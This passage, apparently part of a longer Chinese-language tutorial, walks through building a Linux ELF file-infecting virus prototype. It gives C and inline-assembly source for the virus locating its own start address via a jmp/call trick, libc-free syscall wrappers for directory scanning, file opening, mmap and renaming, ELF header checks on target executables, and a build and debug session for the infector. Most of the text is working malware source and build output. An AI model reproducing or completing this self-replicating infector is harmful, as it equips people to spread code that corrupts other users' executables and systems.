6 通過C語言和inline保證病毒代碼的可讀性和可移植性 用匯編寫病毒代碼的一個缺點就是 - 可讀性和可移植性差,這也是使用匯編語言寫 程序的一個普遍的缺點。 在這個Linux病毒原型代碼了主體使用的都是C語言,只有極少部分由於C語言本身的 限制而不得不使用gcc嵌入匯編。對於C語言部分,也盡量是用inline函數,保證代碼 層次分明,保證可讀性。 7 病毒代碼復制時如何獲得自己的起始地址? 雖然,病毒代碼部分向ELF Infector提供了代碼的起始地址,保證了生成第一個帶毒 文件時能夠找到代碼並插入到目標文件內。但是作為進入宿主內部的代碼在進行傳播 時卻無法使用這個地址,因為它的代碼位置已經受到了宿主的影響,這時它需要重新 定位自己的起始位置。 在寫這個病毒原型時,我並沒有參考過其它病毒的代碼,因此這裡采用的也許並 不是一個最好的方法: /* Get start address of virus code */ __asm__ volatile ( "jmp get_start_addr\n" "infect_start:\n\t" "popl %0\n\t" :"=m" (para_code_start_addr) :); para_code_start_addr -= PARACODE_RETADDR_ADDR_OFFSET - 1; ... /* c代碼 */ ... __asm__ volatile ( ... "get_start_addr:\n\t" "call infect_start\n" "return:\n\t" "push $0xAABBCCDD\n\t" /* push ret_addr */ "ret\n" ::); 通過緩沖區溢出中的一個技巧,jmp/call組合來得到push $0xAABBCCDD指令的地址。 這個地址是0xAABBCCDD地址向後一個push指令,而0xAABBCCDD的地址就是那個用於 存放病毒代碼返回地址的地址,這個地址相對於病毒代碼起始地址的偏移我們是知道 的,就是病毒代碼函數向ELF Infector接口提供的那個宏定義的值: #ifndef NDEBUG #define PARACODE_RETADDR_ADDR_OFFSET 1704 #else #define PARACODE_RETADDR_ADDR_OFFSET 1232 #endif 這樣病毒代碼在當前宿主中的位置就可以得到了(注意從匯編指令出來後, para_code_start_addr中存放的是0xAABBCCDD的地址,我們減去偏移再減 一個push指令的長度,就是病毒代碼的起始地址): para_code_start_addr -= PARACODE_RETADDR_ADDR_OFFSET - 1; 8 拋棄C庫 由於病毒代碼要能在不同的ELF文件內容工作,所以我們必須要保證所有的相關函數 調用在病毒體內即可完成。而對C庫的使用將使我們很難做到這一點,即使有的C庫函 數是可以完全內聯的(完全內聯就是說,這個函數本身可以內聯,同時其內部沒有向 外的函數調用),但是隨著編譯環境的不同,這點也是不能得到根本保證的,因此我 們有必要選擇拋棄C庫。 沒有了C庫,我們使用到的一些函數調用就必須重新實現。在這個Linux病毒原型中有 兩種情況,一種是系統調用,另一種是普通的函數。 對於系統調用,我們采用了重新包裝的方法: static inline g_syscall3(int, write, int, fd, const void *, buf, off_t, count); static inline g_syscall3(int, getdents, uint, fd, strUCt dirent *, dirp, uint, count); static inline g_syscall3(int, open, const char *, file, int, flag, int, mode); static inline g_syscall1(int, close, int, fd); static inline g_syscall6(void *, mmap2, void *, addr, size_t, len, int, prot, int, flags, int, fd, off_t, offset); static inline g_syscall2(int, munmap, void *, addr, size_t, len); static inline g_syscall2(int, rename, const char *, oldpath, const char *, newpath); static inline g_syscall2(int, fstat, int, filedes, struct stat *, buf); 並且修改了syscall包裝的宏定義,如 #define g__syscall_return(type, res) do { if ((unsigned long)(res) >= (unsigned long)(-125)) { res = -1; } return (type) (res); } while (0) #define g_syscall0(type,name) type g_##name(void) { long __res; __asm__ volatile ("int $0x80" : "=a" (__res) : "0" (__NR_##name)); g__syscall_return(type,__res); } 對於普通的函數,直接復制一份函數定義: static inline void * __memcpy(void * to, const void * from, size_t n) { int d0, d1, d2; __asm__ __volatile__( "rep ; movsl\n\t" "testb $2,%b4\n\t" "je 1f\n\t" "movsw\n" "1:\ttestb $1,%b4\n\t" "je 2f\n\t" "movsb\n" "2:" : "=&c" (d0), "=&D" (d1), "=&S" (d2) :"0" (n/4), "q" (n),"1" ((long) to),"2" ((long) from) : "memory"); return (to); } 9 保證病毒代碼的瘦身需要 為了保證病毒代碼體積不至於過於龐大,影響病毒代碼的感染,編寫代碼時也要注意 代碼體積問題。由於采用C代碼的方式,一些函數調用都是內聯的方式,因此每多一個 調用都會引起代碼體積的增加。 在進行ELF文件讀寫更是如此,read/write被頻繁的調用。為了減小這方面的影響,對 目標ELF文件進行了一個mmap處理,這樣地址空間直接被映射到文件,就消除了讀目標 文件時所要做的read調用,節省了一些空間: ehdr = g_mmap2(0, stat.st_size, PROT_WRITEPROT_READ, MAP_SHARED, fd, 0); if (ehdr == MAP_FAILED) { goto err; } /* Check ELF magic-ident */ if (ehdr->e_ident[EI_MAG0] != 0x7f ehdr->e_ident[EI_MAG1] != 'E' ehdr->e_ident[EI_MAG2] != 'L' ehdr->e_ident[EI_MAG3] != 'F' ehdr->e_ident[EI_CLASS] != ELFCLASS32 ehdr->e_ident[EI_DATA] != ELFDATA2LSB ehdr->e_ident[EI_VERSION] != EV_CURRENT ehdr->e_type != ET_EXEC ehdr->e_machine != EM_386 ehdr->e_version != EV_CURRENT ) { V_DEBUG_WRITE(1, &err_type, sizeof(err_type)); goto err; } 當前的代碼都是用C編寫,這樣很難象匯編代碼那樣進行更高程度的精簡,不過目前的 代碼體積還在合理的范圍, 在調試狀態和標准狀態分別是1744和1248 #ifndef NDEBUG #define PARACODE_LENGTH 1744 #else #define PARACODE_LENGTH 1248 #endif 10 數據結構的不一致 與C庫的代碼調用類似,我們使用的頭文件中有一些數據類型的定義是經過 包裝的,與系統調用中使用的並不相同。代碼相關的兩個數據結構,單獨提取了出來。 struct dirent { long d_ino; unsigned long d_off; unsigned short d_reclen; char d_name[256]; /* We must not include limits.h! */ }; struct stat { unsigned long st_dev; unsigned long st_ino; unsigned short st_mode; unsigned short st_nlink; unsigned short st_uid; unsigned short st_gid; unsigned long st_rdev; unsigned long st_size; unsigned long st_blksize; unsigned long st_blocks; unsigned long st_atime; unsigned long st_atime_nsec; unsigned long st_mtime; unsigned long st_mtime_nsec; unsigned long st_ctime; unsigned long st_ctime_nsec; unsigned long __unused4; unsigned long __unused5; };
五、 新編譯環境下的調試方法 grip2@linux:~/tmp/virus> ls g-elf-infector.c gsyscall.h gunistd.h gvirus.c gvirus.h foo.c Makefile parasite-sample.c parasite-sample.h 調整Makefile文件,將編譯模式改為調試模式,即關掉-DNDEBUG選項 grip2@linux:~/tmp/virus> cat Makefile all: foo gei gei: g-elf-infector.c gvirus.o gcc -O2 $< gvirus.o -o gei -Wall #-DNDEBUG foo: foo.c gcc $< -o foo gvirus.o: gvirus.c gcc $< -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG clean: rm *.o -rf rm foo -rf rm gei -rf 編譯代碼 grip2@linux:~/tmp/virus> make gcc foo.c -o foo gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG 先獲取病毒代碼長度,然後調整gvirus.c中的#define PARACODE_LENGTH定義 grip2@linux:~/tmp/virus>. /gei -l objdump -d geigrep aabbccdd 8049427: 68 dd cc bb aa push $0xaabbccdd grip2@linux:~